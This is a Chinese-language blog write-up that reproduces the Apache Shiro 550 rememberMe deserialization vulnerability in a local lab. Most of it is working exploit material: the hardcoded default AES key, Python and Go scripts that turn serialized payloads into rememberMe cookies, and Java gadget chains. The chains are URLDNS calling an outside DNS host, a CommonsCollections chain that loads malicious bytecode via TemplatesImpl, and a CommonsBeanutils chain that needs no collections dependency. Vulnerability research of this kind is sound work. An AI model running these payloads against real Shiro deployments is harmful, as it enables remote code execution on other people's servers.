shiro550

环境配置:

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

在samples目录下的web目录,才是我们需要复现的环境。

jstl版本改成1.2

image-20240528093936180

shiro版本:1.2.4

复现:

访问页面抓包:

localhost:8081/login.jsp后点击记住我:

返回数据包:

image-20240528093943282

之后我们的后端就根据这个cookie去获取数据,之后我们的每次请求都会带上这个cookie。

这个cookie如何生成,并且如何利用就是shiro550的利用点。

cookie解密:

cookie的生成都在CookieRememberMeManager

rememberSerializedIdentity一看就是传入subject授权对象,然后进行进行序列化。

image-20240528093951075

找到了一个get序列化值:

image-20240528093957221

可以查看这个getRememberedSerializedIdentity方法哪里有调用,在AbstractRememberMeManager中调用了,如图所示:

image-20240528094023845

可以知道获取到这个remeber序列化的标识后传给了convertBytesToPrincipals,这个方法一看就是对结果进行授权的,跟进查看:

image-20240528094033340

首先对数据进行了decrypt解密,然后调用了反序列化。

查看解密函数:

image-20240528094039692

这里解密需要解密的key,查看getDecryptionCipherKey函数:

image-20240528094045761

查看decryptionCipherKey这个byte数组哪里赋值的,一直追踪发现是在抽象类中定义的全局变量:
image-20240528094051273

然后返回convertBytesToPrincipals函数,最终调用了原生的反序列化:

image-20240528094056440

cookie加密:

JcaCipherService.javaencrypt方法。

主要是使用了aes加密算法。

这里就不贴了,我们根据默认key就可以去构造对应的恶意数据。

序列化:

URLDNS链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Cipher import AES
import uuid
import base64
from random import Random


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


if __name__ == "__main__":
data = get_file_data("D:\Language\Java\java_code\Security\s.bin")
print(aes_enc(data))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package main

import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io/ioutil"
"log"
)

func getFileData(filename string) []byte {
data, err := ioutil.ReadFile(filename)
if err != nil {
log.Fatalf("Failed to read file: %v", err)
}
return data
}

func pad(src []byte) []byte {
blockSize := aes.BlockSize
padding := blockSize - len(src)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(src, padtext...)
}

func encryptAES(data []byte) []byte {
key, err := base64.StdEncoding.DecodeString("kPH+bIxk5D2deZiIxcaaaA==")
if err != nil {
log.Fatalf("Failed to decode key: %v", err)
}

block, err := aes.NewCipher(key)
if err != nil {
log.Fatalf("Failed to create cipher block: %v", err)
}

paddedData := pad(data)

ciphertext := make([]byte, aes.BlockSize+len(paddedData))
iv := ciphertext[:aes.BlockSize]
if _, err := rand.Read(iv); err != nil {
log.Fatalf("Failed to generate IV: %v", err)
}

mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(ciphertext[aes.BlockSize:], paddedData)

return ciphertext
}

func main() {
data := getFileData("D:/Language/Java/java_code/Security/s.bin")
encryptedData := encryptAES(data)
encodedData := base64.StdEncoding.EncodeToString(encryptedData)
log.Println(encodedData)
}

java中的urldns链代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
HashMap<URL, Object> map = new HashMap<>();
URL url = new URL("http://etcymwhewz.dgrh3.cn");
// put方法会调用hashCode方法 最终会调用hashCode方法
// url的hashCode方法中会判断hashCode是否为-1 如果不为-1则直接返回 默认为-1
// 因此这里需要修改hashCode方法 让他直接返回 而不是调用其他方法去执行dns解析
Field hashCodeFiled = url.getClass().getDeclaredField("hashCode");
hashCodeFiled.setAccessible(true);
hashCodeFiled.set(url, 123456);

// 修改后put就不会执行dns解析了
map.put(url, "shabi");
// 修改回去让反序列化时执行dns请求
hashCodeFiled.set(url, -1);

SerializeUtil.serialize(map);
}

之后执行加密即可:

这里需要删除JSESSION才可以,因为这个是没有rememberMe,有这个字段也会认为当前用户是保持登陆状态。

image-20240528094108757

看到deleteMe即可,查看dns:

image-20240528094112826

CC3.2.1版本:

导入依赖:

image-20240528094117057

如何我们直接使用Common-Collections3.2.1的第六条链路cc6的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static void main(String[] args) throws Exception {
// 创建一个runtime示例 ==》 调用Runtime.getRuntime()
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer factory = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("hello"));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

HashMap<Object, Object> expHashMap = new HashMap<>();
// put方法会执行getValue方法
expHashMap.put(tiedMapEntry, "sdfdsf");

// 删除key 目的为了反序列化的时候走factory.transform(key);
map.remove("key");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,factory);

// SerializeUtil.serialize(expHashMap);
SerializeUtil.unSerialize();
}

发现打不进去找不到Transformer数组。

image-20240528094127142

我们看一下shiro550中的deserialize方法是如何反序列化的,其实它是调用了ClassResolvingObjectInputStreamreadObject方法。

image-20240528094132828

查看这个类,只定义了两个方法:

image-20240528094148991

其中重写了resolveClass。这里说明以下,调用readObejct会先调用resolveClass方法,如果是重写了则会调用重写的方法。

然后跟进调用了这个工具类的forName方法。

image-20240528094154394

查看注释可以看到这个函数主要是作用是loadClass,首先查询当前线程是否能加载该类,如果不能的话则调用system/application的加载器,如果在没有的话则直接抛出异常。

查看原生的ObjectInputStreamresolveClass方法:

image-20240528094159526

所以说shiro中的readObejct方法是不能读取数组类,而原生的是可以的。

因此我们需要构造一个没有数组的调用链。

因此我们不用cc1了,因为这个是一定要有Transformer去控制我们传入的参数执行Runtime代码,我们可以尝试使用cc3,因为cc6调用的是一个map的key的getVaule方法。最终我们不需要Runtime加载恶意指令了,而是调用Templates加载字节码。

这里也可以调用cc4。

image-20240528094204395

所以说后半段都是调用TemplatesImpl类。

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());

// 构造cc3后半段 去调用TemplatesImpl#newTransformer方法
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

// cc6
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("hello"));

// 传入lazyMap 和 对应的key 这个key后面需要移除
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashMap<Object, Object> expHashMap = new HashMap<>();
// put方法会执行getValue方法
expHashMap.put(tiedMapEntry, "sdfdsf");

// 删除key 目的为了反序列化的时候走factory.transform(key); --> 这里就是
map.remove(templates);

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, invokerTransformer);

SerializeUtil.serialize(expHashMap);
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

主要逻辑是调用了put方法,然后会调用tiedMapEntry的hash方法,最终会调用getVaule方法。

getVaule方法中会调用get方法。由于我们传入的TiedMapEntry的key是LazyMapTiedMapEntrygetVaule会调用LazyMapget方法。

LazyMap中的factory是我们传入的InvokerTransformer,因此会调用对应的transform方法,该形参keyTemplatesImpl
image-20240528094210278

因此最终会调用到InvokerTransformertransform方法,这个方法很熟悉了,就是我们需要调用的TemplatesImplenewTransformer。这个方法最终会调用到TemplatesImpledefineClass方法。从而造成了加载恶意class。

image-20240528094215912

调用流程如图所示:

image-20240528094223059

CB1 原生链:

CB链不用我多说了,PropertyUtils.getProperty会反射调用对应的get方法,和fastjson一样。然后我们需要找的哪个类调用了getProperty

在java中的原生类消息队列PriorityQueue的compare会调用getProperty方法。

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties");

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

// 传入一个没有用的比较器
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);


queue.add(templates);
queue.add(1);

Class<? extends PriorityQueue> queueClass = queue.getClass();
Field sizeFiled = queueClass.getDeclaredField("size");
sizeFiled.setAccessible(true);
sizeFiled.set(queue,2);

Field comparatorFiled = queueClass.getDeclaredField("comparator");
comparatorFiled.setAccessible(true);
comparatorFiled.set(queue,beanComparator);


SerializeUtil.serialize(queue);
SerializeUtil.unSerialize();
}

public static void setFiled(Object object, String filedName, Object value) throws Exception {
Field declaredField = object.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

传参后发送,发现报错,如下:

image-20240528094232284

原因:

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。

那我们就修改版本,和shiro一样的版本,将版本修改为1.8.3

修改后我再打!发现又报错了:

image-20240528094236541

这段的意思是,不能加载cc依赖中的ComparableComparator,因为cb在设计之初就依赖cc链。

可以看到BeanComparator的构造函数,传入了一个cc链的ComparableComparator

image-20240528094243157

那么我们不要这个依赖cc链的构造函数,换成其他的就行了。

查看另一个构造函数,我们可以传入jdk原生的比较器,或者其他比较器就可以了。

image-20240528094247799

以上的类都可以考虑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def read_file(file_path):
with open(file_path, 'r', encoding='utf8') as file: # 指定使用 gbk 编码打开文件
content = file.readlines()
# 返回文件内容的集合,使用集合去除重复项
return set(content)

# 两个文件的路径
file1_path = 'compart.txt'
file2_path = 'serializable.txt'

# 读取文件内容
file1_content = read_file(file1_path)
file2_content = read_file(file2_path)

# 找到两个文件内容的交集
intersection = file1_content.intersection(file2_content)

# 打印交集内容
print("文件1和文件2的交集:")
for item in intersection:
print(item.strip()) # 去除换行符并打印交集内容

image-20240528094255235

就用第一个了:

image-20240528094259709

修改poc,new一个AttrCompare的比较器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

// 传入一个没有用的比较器
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);


queue.add(templates);
queue.add(1);

Class<? extends PriorityQueue> queueClass = queue.getClass();
Field sizeFiled = queueClass.getDeclaredField("size");
sizeFiled.setAccessible(true);
sizeFiled.set(queue,2);

Field comparatorFiled = queueClass.getDeclaredField("comparator");
comparatorFiled.setAccessible(true);
comparatorFiled.set(queue,beanComparator);


SerializeUtil.serialize(queue);
SerializeUtil.unSerialize();
}

public static void setFiled(Object object, String filedName, Object value) throws Exception {
Field declaredField = object.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

本地测试可以弹出计算器,试试在shiro中,成功回显。

image-20240528094309195

坑点:

这里使用插件可以查看到存在cc依赖,如图所示:

image-20240528094312764

但是在maven中test不会被编译进去的。这里可以打cb:

image-20240528094316083


shiro550
https://pow1e.github.io/2024/04/21/漏洞中间件复现/shiro/shiro-550/
作者
pow1e
发布于
2024年4月21日
许可协议